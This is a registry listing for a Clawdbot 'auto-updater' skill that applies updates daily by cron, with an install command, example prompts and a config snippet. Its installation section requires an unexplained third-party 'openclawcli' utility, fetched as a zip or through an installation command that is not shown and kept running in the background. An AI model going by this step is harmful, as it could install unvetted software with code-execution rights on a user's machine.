ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified system Safety 4/5

auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your Clawdbot and all installed skills current with the Auto-Updater skill. Schedule daily updates, receive change summaries, and ensure optimal performance.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/autoupdate
Or

What This Skill Does

The Auto-Updater skill provides a robust, automated mechanism for maintaining the integrity and relevance of your Clawdbot environment. By scheduling daily checks, the skill ensures that both the core Clawdbot application and all associated third-party skills remain current with the latest releases. The process performs a two-tier update: it first verifies the state of the core application using native package managers or Git-based updates followed by a 'doctor' health check, and subsequently executes a comprehensive audit of installed skills via the clawdhub registry. This eliminates manual maintenance cycles, ensuring that you always benefit from the most recent bug fixes, performance improvements, and security patches without having to monitor release notes manually.

Installation

Before deploying the skill, you must ensure the mandatory openclawcli utility is operational on your host machine. For Windows, download and extract the zip from the GitHub repository. For macOS, execute the provided installation command in your Terminal. Once the environment is prepped, you can install the skill by executing clawhub install openclaw/skills/skills/hightower6eu/autoupdate. After installation, you can initialize the daily cron job via conversational prompt or by manually adding a cron entry via the terminal using the clawdbot cron add command, specifying your preferred timezone and execution window.

Use Cases

This skill is ideal for power users who rely on a high-availability Clawdbot deployment. Use it to maintain production-ready environments where downtime or compatibility errors are unacceptable. It is also perfect for users managing a large library of skills; rather than tracking individual version updates, the auto-updater consolidates these administrative tasks. It provides a daily audit trail, serving as a "health check" status report that keeps you informed of your bot's lifecycle and current dependency versions, which is invaluable for debugging integration issues.

Example Prompts

  1. "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versions."
  2. "Can you check for any pending skill updates right now and give me a summary of what would change?"
  3. "Configure my auto-updates to run at 3:00 AM PST instead of the default time."

Tips & Limitations

Always ensure that openclawcli is running in the background; without it, the cron tasks will silently fail. While the auto-updater is highly efficient, remember that major version updates to Clawdbot may occasionally introduce breaking changes to custom scripts. It is recommended to perform a manual backup of your environment periodically. If you notice a skill failing to update, verify that you have proper write permissions in the directory where your skills are installed. Utilize the clawdhub update --all --dry-run command if you ever wish to inspect changes before allowing them to be applied automatically.

Metadata

Stars2387
Views9
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-autoupdate": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#automation#maintenance#updater#sysadmin#patching
Safety Score: 4/5

Flags: file-write, file-read, code-execution